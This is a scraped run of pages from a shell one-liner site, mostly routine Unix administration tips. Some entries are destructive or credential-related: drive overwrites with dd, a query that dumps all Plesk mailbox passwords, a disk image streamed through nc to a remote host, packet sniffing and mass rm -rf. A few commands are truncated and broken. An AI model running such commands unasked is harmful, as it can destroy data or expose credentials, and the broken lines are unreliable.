ncdu is a text-mode ncurses-based disk usage analyzer. Useful for when you want to see where all your space is going. For a single flat directory it isn't more elaborate than an du|sort or some such thing, but this analyzes all directories below the one you specify so space consumed by files inside subdirectories is taken into account. This way you get the full picture. Features: file deletion, file size or size on disk and refresh as contents change. Homepage: http://dev.yorhel.nl/ncdu
cp -pr olddirectory newdirectory
Copy via tar pipe while preserving file permissions (cp does not!; run this command with root!)
cp options:
-p will preserve the file mode, ownership, and timestamps
-r will copy files recursively
also, if you want to keep symlinks in addition to the above: use the -a/--archive option
declare -F | cut -d ' ' -f 3
‹ First < 89 90 91 92 93 > Last ›
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd of=/dev/sdx
Example of dynamic operating output:
Example of summary output on end of process:
200000+0 records in
200000+0 records out
Summary:
102400000 bytes (102 MB) copied, 10.9973 s, 9.3 MB/s
Functions: dd sudo tr
Fill a hard drive with ones - like zero-fill, but the opposite :)
Note: Replace 200000 with drive bytes/512, and /dev/sdx with the destination drive/partition. ;)
Note: You may need to install pipebench, this is easy with "sudo apt-get install pipebench" on Ubuntu.
The reason I hunted around for the pieces to make up this command is that I wanted to specifically flip all of the bits on a new HDD, before running an Extended SMART Self-Test (actually, the second pass, as I've already done one while factory-zeroed) to ensure there are no physical faults waiting to compromise my valuable data. There were several sites that came up in a Google search which had a zero-fill command with progress indicator, and one or two with a fill-with-ones command, but none that I could find with these two things combined (I had to shuffle around the dd command(s) to get this to happen without wasting speed on an md5sum as well).
For reference, these are the other useful-looking commands I found in my search:
Zero-fill drive "/dev/sdx", with progress indicator and md5 verification (run sudo fdisk -l to get total disk bytes, then divide by 512 and enter the resulting value into this command for a full wipe)
dd if=/dev/zero bs=512 count= | pipebench | sudo tee /dev/sdx | md5sum
And this command for creating a file filled with ones is my other main source (besides the above command and man pages, that is - I may be a Linux newbie but I do read!):
Hope someone finds this useful! :)
Cheers,
- Gliktch
diff -r -u originDir updateDir > result.patch
Create patch file for two directories
watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info and iwconfig on wireless interface "wlan0"
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
http://fonts.apple.com/TTRefMan/index.html
http://gnuwin32.sourceforge.net/packages/ttf2pt1.htm
http://heliotrope.homestead.com/files/printsoft.html
http://linuxartist.org/fonts/
Functions: cat find grep sed sort xargs
find external links in all html files in a directory list
Just a handy way to get all the unique links from inside all the html files inside a directory. Can be handy on scripts etc.
/usr/sbin/showmount -e
Query an NFS host for its list of exports
patch -p0 -i result.patch
Functions: patch
Apply new patch for a directory (originDir)
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
Functions: diff head
Generate diff of first 500 lines of two files
Useful for massive files where doing a full diff would take too long. This just runs diff on the first 500 lines of each. The use of subshells to feed STDIN is quite a useful construct.
grep "processor" /proc/cpuinfo | wc -l
user@system:~$ grep "processor" /proc/cpuinfo | wc -l
user@system:~$
Number of CPU's in a system
/proc/cpuinfo contains information about the CPU.
Search for "processor" in the /proc/cpuinfo file
wc -l, counts the number of lines.
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2)
gjempty$ diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2)
247a248,250
> for ($i = 0; $i < 7; $i++) {
> if (!isset($tabData[$i])) $tabData[$i] = '';
> }
gjempty$ diff -b file1 file2
> for ($i = 0; $i < 7; $i++) {
> if (!isset($tabData[$i])) $tabData[$i] = '';
> }
Functions: diff perl
**NOTE** Tekhne's alternative is much more succinct and its output conforms to the files actual contents rather than with white space removed
My command on the other hand uses bash process substitution (and "Minimal" Perl), instead of files, to first remove leading and trailing white space from lines, before diff'ing the streams. Very useful when differences in indentation, such as in programming source code files, may be irrelevant
iptables -D fail2ban-SSH -s -j DROP
Get an IP address out of fail2ban jail
Removes an iptables rule created by fail2ban. This example shows how to remove a rule for an IP from the fail2ban-SSH chain. Can be used for any service monitored by fail2ban.
For more on fail2ban, see http://www.fail2ban.org/wiki/index.php/Main_Page
structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
nathan@lion:~$ structcp hello-python hello-plasma
mkdir: created directory `hello-plasma'
mkdir: created directory `/home/nathan/hello-plasma/contents'
mkdir: created directory `/home/nathan/hello-plasma/contents/code'
Copy structure
Copies a dir structure without the files in it.
find ~user/ -name "*~" -exec rm {} \;
Remove all backup files in my home directory
I use this simple command for remove all backup files generated usually by editors like Vim and Emacs.
awk '!($0 in a) {a[$0];print}' file
print file without duplicated lines usind awk
show file withou duplicated lines
cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
backup directory. (for bash)
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
Make a ready-only filesystem ?writeable? by unionfs
First look into /etc/modules if you have unionfs (or squashfs) support. If not, add the modules. UnionFS combines two filesystems. If there is a need to write a file, /tmp/unioncache will be used to write files (first create that directory). Reads will be done where the file is found first.
http://tldp.org/HOWTO/SquashFS-HOWTO/creatingandusing.html
for i in `seq -f %03g 5 50 111`; do echo $i ; done
$>for i in `seq -f %03g 5 50 111`; do echo $i ; done
005
055
105
a for loop with filling 0 format, with seq
seq allows you to format the output thanks to the -f option. This is very useful if you want to rename your files to the same format in order to be able to easily sort for example:
for i in `seq 1 3 10`; do touch foo$i ;done
And
ls foo* | sort -n
foo1
foo10
foo4
foo7
But:
for i in `seq -f %02g 1 3 10`; do touch foo$i ;done
So
foo01
foo04
foo07
for f in *.txt;do mv ${f%txt}{txt,md}; done
Same thing using bash built-in features instead of a sub-shell.
df -PH|column -t
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
Optimize Xsane PDFs
Xsane produces PDFs that are too large - particularly multipage PDFs. This command compresses them. If you do not use A4, remove the -sPAPERSIZE flag.
cat > list -
Quick notepad
Quick write some notes to a file with cat. Ctrl+C when you have finish.
xrandr | grep \*
Get your X11 screen mode
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
192.168.1.6
Functions: grep ifconfig sed
Get your internal IP address and nothing but your internal IP address
Will return your internal IP address.
avimerge -o output.avi -i file1.avi file2.avi file3.avi
concatenate avi files
concatenates avi files
svn add . --force
A (bin) some/file/that/had/a/\?/before
With the force options the same results can be achieved
cut -f2 -d`echo -e '\x01'` file
strips the first field of each line where the delimiter is the first ascii character
‹ First < 90 91 92 93 94 > Last ›
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
Go up multiple levels of directories quickly and easily.
This is a kind of wrapper around the shell builtin cd that allows a person to quickly go up several directories.
Instead of typing:
cd ../..
A user can type:
cd ...
Instead of:
cd ../../..
cd ....
Add another period and it goes up four levels. Adding more periods will take you up more levels.
hostname -I
Get all ip address for the host
awk "BEGIN{ print $* }"
Command line calculator
works with fractions like 1/3.5
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
Functions: awk grep lspci
Show number of NIC's, ports per nic and PCI address
grep -c -e '^cpu[0-9]\+' /proc/stat
Finding the number of cpu's
tar dfz horde-webmail-1.2.3.tar.gz
horde-webmail-1.2.3/imp/config/servers.php: Mod time differs
horde-webmail-1.2.3/imp/config/servers.php: Size differs
horde-webmail-1.2.3/lib/Horde/RPC/PhpSoap.php: Mod time differs
horde-webmail-1.2.3/lib/Horde/RPC/PhpSoap.php: Size differs
Compare an archive with filesystem
and you quickly know the files you changed
iptraf
monitor network traffic and throughput in real time
see http://iptraf.seul.org/ for all kinds of documentation and screenshots
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd
$ eval ls -l /proc/{$(pgrep -d, vim)}/cwd
lrwxrwxrwx 1 splante 20000 0 Apr 14 09:25 /proc/11611/cwd -> /home/splante/p
lrwxrwxrwx 1 splante 20000 0 Apr 14 09:26 /proc/11680/cwd -> /tmp
$ sudo ls -l /proc/$(pgrep X)/cwd
lrwxrwxrwx 1 root root 0 Apr 13 18:31 /proc/3945/cwd -> /
Functions: eval ls
Find out current working directory of a process
This is an alternative to another command using two xargs. If it's a command you know there's only one of, you can just use:
ls -l /proc/$(pgrep COMMAND)/cwd
find -writable
Find writable files
Have a grudge against someone on your network? Do a "find -writable" in their directory and see what you can vandalize! But seriously, this is really useful to check the files in your own home directory to make sure they can't inadvertently be changed by someone else's wayward script.
dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
/usr/share/games $ dh
298K ./qlife
1,4M ./eboard
2,7M ./gtklife
9,9M ./csmash
18M ./stepmania
27M ./frozen-bubble
30M ./etracer
86M ./wormux
174M .
174M total
Since coreutils 7.6 provides sort -h
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
Functions: du find xargs
Show the disk usage for files pointed by symbolic link in a directory
You also can sum the file usage of all files
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lch
vim $(grep test *)
Functions: grep test vim
Find files containing string and open in vim
I often use "vim -p" to open in tabs rather than buffers.
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
Functions: echo grep seq
Get Cookies from bash
The loop is to compare cookies. You can remove it...
Maybe you wanna use curl...
curl www.commandlinefu.com/index.php -s0 -I | grep "Set-Cookie"
ls -l | egrep ^d
drwxrwx--- 2 sim sim 4096 2009-02-08 14:19 adir
-rw-rw---- 1 sim sim 0 2009-02-05 13:09 x.txt
-rw-rw---- 1 sim sim 0 2009-02-05 13:09 y.txt
-rw-rw---- 1 sim sim 0 2009-02-05 13:09 z.txt
$ ls -l | egrep ^d
Functions: egrep ls
This command would be useful when it is desirable to list only the directories. 'egrep' chooses only the lines that begin with 'd'.
wget -O /dev/null http://www.google.com
Run remote web page, but don't save the results
I have a remote php file that I want to run once an hour. I set up cron to run this wget. I don't really care about what's in the file though, I don't want to save the results, so I run the -O and send it to /dev/null
ps ax --format=pid,eip,esp,user,command
PID EIP ESP USER COMMAND
1 00659422 bfd959bc root /sbin/init
Getting ESP and EIP addresses from running processes
'ps' let you specify the format that you want to see on the output.
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
frozenfire@sine:~$ randpw 10
9qDVnEYNGx
frozenfire@sine:~$ randpw
6PkWNDsFVTiuKmpX
Generate random password
Generates password consisting of alphanumeric characters, defaults to 16 characters unless argument given.
123.123.123.123
alternative to
for those that don't have curl
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
Functions: sed sleep
Mouse Tracking
Will track your mouse and save it to a file.
You can use gnuplot to graph it:
gnuplot -persist <(echo "unset key;unset border;unset yzeroaxis;unset xtics;unset ytics;unset ztics;plot './mouse-tracking' with points lt 1 pt 6 ps variable")
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
1234567891234567890
$ sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' sample.txt
1,234,567,891,234,567,890
Add thousand separator with sed, in a file or within pipe
cat filename | sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta'
I don't remember where I copy/pasted this from, I wish I credited the original author
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
Uptime 12.96Hour
Mysql uptime
show Mysql uptime
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
Check if running in an X session
If you want to display a dialog (using xdialog/kdialog/zenity) you
need to make sure that you have a valid X session. Checks for
the existence of the DISPLAY variable.
tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\%20/g') | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; }
Functions: echo grep sed wget
ThePirateBay.org torrent search
usage: tpb searchterm
example: tpb the matrix trilogy
This searches for torrents from thepiratebay and displays the top results in reverse order,
so the 1st result is at the bottom instead of the top -- which is better for command line users
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
Convert all WMF images to SVG recursively ignoring file extension case
This assumes you have the package installed necessary for converting WMF files. On my Ubuntu box, this is libwmf-bin. I used this command, as libwmf is not on my wife's iMac, so I archived the directories containing the WMF files from OS X, ran them on my Ubuntu box, archived the resulting SVGs, and sent them back to her. Quick, simple and to the point.
Searches directories recursively looking for extensions ignoring case. This is much more readable and clean than -exec for find. The while loop also gives further flexibility on complex logic. Also, although there is 'wmf2svg --auto', it expects lowercase extensions, and not uppercase. Because I want to ignore case, I need to use the -o option instead.
Works in ZSH and BASH. Haven't tested in other shells.
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
$ ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
00:25:4b:a2:45:72
00:25:4b:89:98:a0
00:25:4b:ff:fe:a2
Get mac address listed for all interfaces.
‹ First < 91 92 93 94 95 > Last ›
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
http://www.youtube.com/watch?v=K3gOxtXN5wc
Capture screen and mic input using FFmpeg and ALSA
Yet another x11grab using ffmpeg. I also added mic input to the capturing video stream using alsa. Yet I need to find out how to capture audio which is currently playing.
setterm -blength 0
system beep off
function ..(){ for ((j=${1:-1},i=0;i -r -e --homedir /home/to/.gnupg | nc remote_machine 6969
Functions: dd gpg
Efficient remote forensic disk acquisition gpg-crypted for multiple recipients
Acquires a bit-by-bit data image, gzip-compresses it on multiple cores (pigz) and encrypts the data for multiple recipients (gpg -e -r). It finally sends it off to a remote machine.
sed -e '/^[]*$/d' somefile
output the contents of a file removing any empty lines including lines which contain only spaces or tabs.
echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
95.23223087607411631700
Functions: bc cut echo sed tr
memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints it out.
queries local memcached for stats, calculates hit/get ratio and prints it out.
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
How to pull out lines between two patterns
This command will display all lines between 2 patterns: word-a and word-b
useful for grepping command outputs from file
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
$ find `echo "${PATH}" | tr ':' ' '` -type f -a -name '*ctl*' | while read COMMAND; do man -f "${COMMAND##*/}"; done
cupsctl (8) - configure cupsd.conf options
pactl (1) - Control a running PulseAudio sound server
esdctl (1) - The Enlightened Sound Daemon
sysctl (8) - configure kernel parameters at runtime
alsactl (1) - advanced controls for ALSA soundcard driver
pccardctl (8) - PCMCIA card control utility
initctl (8) - init daemon control utility
Functions: find man read tr
List commands with a short summary
Obviously, you can replace 'man' command with any command in this command line to do useful things. I just want to mention that there is a way to list all the commands which you can execute directly without giving fullpath.
Normally all important commands will be placed in your PATH directories. This commandline uses that variable to get commands. Works in Ubuntu, will work in all 'manpage' configured *nix systems.
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
Show all usernames and passwords for Plesk email addresses
apt-cache dotty PKG-NAME | dot -Tpng | display
Create package dependency graph
Create Debian package dependency graph using GraphViz
lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
apache2 12747 www-data rtd DIR 8,4 848 2 /
apache2 12747 www-data txt REG 8,4 324284 392401 /usr/sbin/apache2
Show what a given user has open using lsof
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
Functions: gdb
Print stack trace of a core file without needing to enter gdb interactively
This does almost the same thing as the original, but it runs the full backtrace for _all_ the threads, which is pretty important when reporting a crash for a multithreaded software, since more often than not, the signal handler is executed in a different thread than the crash happened.
cd !$
Getting the last argument from the previous command
perl -e 'print scalar(gmtime(1234567890)), "\n"'
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
Functions: find grep wc xargs
Counts number of lines
Counts number of lines of code in *.h and *.cc files
unzip '*.zip'
Unzip multiple files with one command
With this command you can easily unzip multiple zip files with just one command. All you need to do is to use single quotes.
perl -i'.bak' -pe 's/old/new/g'
ps -o thcount -p
THCNT
Return threads count of a process
Source: http://superuser.com/questions/49408/how-do-i-monitor-or-view-the-thread-count-of-a-certain-process-on-aix
dpkg --get-selections | grep linux-image
linux-image-2.6.28-11-generic install
linux-image-2.6.28-13-generic install
linux-image-2.6.28-14-generic install
linux-image-2.6.28-15-generic install
linux-image-generic install
‹ First < 92 93 94 95 96 > Last ›
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
0.237788 0.291066 0.845814 0.152208 0.585537
0.193475 0.810623 0.173531 0.484983 0.151863
0.366957 0.491736 0.910094 0.265257 0.893188
0.220351 0.631798 0.571077 0.332158 0.104455
0.502931 0.567394 0.854165 0.040141 0.108022
0.639396 0.013111 0.720184 0.101814 0.482945
Functions: awk printf seq
sort -k1.x
Sort lines using the Xth characted as the start of the sort string
Tells sort to ignore all characters before the Xth position in the first field per line. If you have a list of items one per line and want to ignore the first two characters for sorting purposes, you would type "sort -k1.3". Change the "1" to change the field being sorted. The decimal value is the offset in the specified field to sort by.
:!pylint -e %
check python syntax in vim
perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
echo "I had 10 goats, then sam brought 5 more. \
Then we bought 4 more goats and 2 goats had babies. \
How many goats did we have?" | \
perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
1, '2' | 3, (-2) -.5
3.5
Functions: grep perl split
Good for summing the numbers embedded in text - a food journal entry for example with calories listed per food where you want the total calories. Use this to monitor and keep a total on anything that ouputs numbers.
wget -O- | wget -i -
(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
Functions: awk cat grep sort uniq
Block all IP addresses and domains that have attempted brute force SSH login to computer
Searches all log files (including archived bzip2 files) for invalid user and PAM authentication errors, both of which are indicative of brute force attempts at logging into computer. A list of all unique IP addresses and domain names is appended to hosts.deny. The command (and grep error messages) will work on Mac OS X 10.6, small adjustments may be needed for other OSs.
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
Search and replace text in all php files with ruby
Search for the string "search" and replace it with the string "replace", on all files with the extension php in the curret folder. Do also a backup of each file with the extension "bkp".
echo notify-send test | at now+1minute
Functions: at echo test
The simplest way to do it.
Works for me, at least. (Why are the variables being set?)
ps -p $$
short, sweet, and works after sudoing a new shell.
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
Functions: awk grep kill ps xargs
Kill all processes belonging to a user
This is a 'killall' command equivalent where it is not available.
Prior to executing it, set the environment variable USERNAME to the username, whose processes you want to kill or replace the username with the $USERNAME on the command above.
Side effect: If any processes from other users, are running with a parameter of $USERNAME, they will be killed as well (assuming you are running this as root user)
[-9] in square brackets at the end of the command is optional and strongly suggested to be your last resort. I do not like to use it as the killed process leaves a lot of mess behind.
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
.bashrc | 2 ++
2 files changed, 22 insertions(+), 3 deletions(-)
Functions: cut diff tail
Figure out your work output for the day
Figures out what has changed in the last 12 hours.
Change the author to yourself, change the time since to whatever you want.
units "2048 bytes" "kibibytes"
units "2048 bytes" "kibibytes"
units "40 furlongs" "meters"
units "1 au" "light seconds"
easily convert one unit to another
Easily convert units of similar measurement. May also be invoked alone, units.
curl -s http://myip.dk | grep '' | sed -e 's/<[^>]*>//g'
Your IP address is: xxx.xxx.xxx.xxx
display ip address
add this alias in .bashrc to fast check the ip address of your modem router
alias myip="curl -s http://myip.dk | grep '' | sed -e 's/]*>//g'"
ps -ef | grep c\\ommand
faster ;) but your idea is really cool
watch lsof -i :80
whois surfing my web ?
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
same as above but dumps the stream to a file.
imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "(.)*" | grep -Eo "http://i.imgur.com/[^<]*";}
ifconfig | grep inet | imgur
http://i.imgur.com/vBvvz.png
Using PIPEs, Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png.
imgur < /etc/issue
% Total % Received % Xferd Average Speed Time Time Time Current
http://i.imgur.com/bvbUD.png
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage: liveh [-i interface] [output-file] && firefox &
Functions: sed tcpdump
livehttpheaders (firefox addon) replacement
This uses only BRE, in case you're using an older version of sed(1) that doesn't have support for ERE added.
With a modern sed(1), to reduce false positive matches, you might do something like:
liveh(){ tcpdump -lnnAs512 -i ${1-} tcp |sed 's/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/GET |Host: |POST /!d;/[\"'"'"]/d;/\.\./d;w '"${2-liveh.txt}"'' >/dev/null ;}
Anyway, it's easy to clean up the output file with sed(1) later.
cdrecord -v dev=/dev/cdrom yourimage.iso
Functions: cdrecord
burn a isofile to cd or dvd
cdrecord must be installed.
usefull alias:
alias burniso='cdrecord -v dev=/dev/cdrom'
now iso burning is like.
burniso image.iso
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
Functions: gawk
List all PostgreSQL databases. Useful when doing backups
grep -P '\t' filename
grep for tabs without using Ctrl-V trick
-P tells grep to use perl regex matches (only works on the GNU grep as far as I know.)
dd if=/dev/cdrom of=~/cd_image.iso
gnu@robby: dd if=/dev/cdrom of=~/cd_image.iso
834244+0 records in
834244+0 records out
427132928 bytes (427 MB) copied, 198.13 s, 2.2 MB/s
Creating ISO Images from CDs/DVDs
create an iso from your cd/dvd-rom device . You need to umount /dev/cdrom
before using the cli
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
Convert one file from ISO-8859-1 to UTF-8.
Nothing fancy it just converts one file from one character encoding into another one.
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ; done | sed 's:Expiration Date::'
Functions: cat echo grep read sed whois
Produces a list of when your domains expire
Create a text file called domainlist.txt with a domain per line, then run the command above. All registries are a little different, so play around with the command. Should produce a list of domains and their expirations date. I am responsible for my companies domains and have a dozen or so myself, so this is a quick check if I overlooked any.
ls -ad */
dir1/ dir2/
dir3/ dir4/
ls only directories
Like normal ls, but only lists directories.
Can be used with -l to get more details (ls -lad */)
‹ First < 93 94 95 96 97 > Last ›
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
Added medialib id 5076 to playlist
Added medialib id 1537 to playlist
Added medialib id 1148 to playlist
Added medialib id 5336 to playlist
Added medialib id 3876 to playlist
Added medialib id 5165 to playlist
Added medialib id 5485 to playlist
Added medialib id 3884 to playlist
Added medialib id 498 to playlist
Added medialib id 3791 to playlist
Functions: grep head sed sort xargs
Add 10 random unrated songs to xmms2 playlist
If you're like me and want to keep all your music rated, and you use xmms2, you might like this command.
I takes 10 random songs from your xmms2 library that don't have any rating, and adds them to your current playlist. You can then rate them in another xmms2 client that supports rating (I like kuechenstation).
I'm pretty sure there's a better way to do the grep ... | sed ... part, probably with awk, but I don't know awk, so I'd welcome any suggestions.
aptitude install bash-completion ; source /etc/bash_completion
Enable programmable bash completion in debian lenny
The really awesome bash completion in debian seems to be an extra package now, which has to be installed. After sourcing /etc/bash_completion it completes almost everything (package names in apt... etc) :-)
To make this permanent, put something like this in your .bashrc:
if [ -f /etc/bash_completion]; then
source /etc/bash_completion
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
Functions: mkfifo ssh sudo
Please check out my blog article on this for more detail. http://jdubb.net/blog/2009/08/07/monitor-wireshark-capture-real-time-on-remote-host-via-ssh/
set -x
$ set -x
+ pwd
/tmp
$ asdf='x*'
+ asdf='x*'
$ cd ~
+ cd /home/tiger
$ find $OLDPWD -name "$asdf"
+ find /tmp -name 'x*'
Set a posix shell to echo all commands that it's about to execute, after all expansions have been done.
the 'set -x' mode can be exited by typing
set +x
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse' && wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -
BackTrack Repos
Add the BackTrack repositories to your Debian based GNU/Linux distribution. Thanks to http://it-john.com/home/technology/linux-technology/add-back-track-4-repo-to-ubuntu/
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
find largest file in /var
isatty(){ test -t $1; }
Functions: test
Is it a terminal?
Oddly, the isatty(3) glibc C call doesn't have a direct analogue as a command 'isatty(1)'. All is not lost as you can use test(1).
For example, your script might be run from a tty or from a GUI menu item but it needs to get user-input or give feedback. Now your script can test STDIN with 'isatty 0' or STDOUT with 'isatty 1' and use xmessage(1) if the tty is not available.
The other way to test for this is with 'tty -s' - but that's only for STDIN.
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
There are some pretty good live performances on late night TV. With Mythtv I record David Letterman, Jimmy Fallon, and Conan nightly all in HD from over the air broadcasts. If I find a live performance I like I copy it to my Rockboxed iPod using this command. The Rockbox firmware knows how to downmix 5.1 audio. The command above extracts the audio from the video starting at 58 minutes and 15 seconds. It ends at the end of the file since this was the last performance of the recording. The command creates an ac3 file. I copy the ac3 file to my Rockbox iPod and rock on.
for USER in `cut -d ":" -f1 /dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
--- crontab for user_one ---
0 16 * * * /bin/foo >>/var/log/foo.log 2>&1
42 10 * * * /bin/bar >>/var/log/bar.log 2>&1
--- crontab for user_two ---
* * * * * /bin/foo >>/var/log/foo.log 2>&1
16 10 * * * /bin/bar >>/var/log/bar.log 2>&1
Functions: crontab echo
print crontab entries for all the users that actually have a crontab
This is how I list the crontab for all the users on a given system that actually have a crontab.
You could wrap it with a function block and place it in your .profile or .bashrc for quick access.
There's prolly a simpler way to do this. Discuss.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
Functions: find rm sudo tee xargs
Mac OS X: remove extra languages to save over 3 GB of space.
This will get the job done in the most efficient way -
spawning only one `rm` process.
"On-the-fly" find data is displayed through `tee` and
you should have plenty of time to ctrl-c if needed before it's too late.
You may need to re-run this after major Software Updates.
To leave more languages in, add more ``-and \! -iname "lang*"'' statements:
sudo find / -iname "*.lproj" -and \! -iname "en*" -and \! -iname "spanish*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
**Edit: note the 2nd sudo near the end of the pipeline - this is necessary.
at 6:00 <<< "xmms2 play"
Functions: at
An alarm clock using xmms2 and at
I like the order of the arguments better this way.
sc queryex type= service state= all | find "_NAME"
SERVICE_NAME: Apache2.2
DISPLAY_NAME: Apache2.2
... (truncated)
SERVICE_NAME: BITS
DISPLAY_NAME: Background Intelligent Transfer Service
SERVICE_NAME: inetd
DISPLAY_NAME: CYGWIN inetd
SERVICE_NAME: pgsql-8.2
DISPLAY_NAME: PostgreSQL Database Server 8.2
List all Windows services on the command line
On Windows 2000 or later, this command will give a listing of all the registered Windows services. You can then know what the name of a command is in order to start and stop it.
sc start Apache2.2
net start Apache2.2
Please note that sc will allow the SERVICE_NAME only, while net will allow both SERVICE_NAME and DISPLAY_NAME.
Note that the space between the = and the next word are important. Not very unixy, that.
http://www.ss64.com/nt/sc.html
http://www.ss64.com/nt/net_service.html
http://technet.microsoft.com/en-us/library/bb490995.aspx
find . -wholename './.snapshot' -prune -o -print
Recursively lists all files in the current directory, except the ones in '.snapshot' directory
This can be useful for those who have mounted NetApp file-systems with snapshot activated.
grep "model name" /proc/cpuinfo
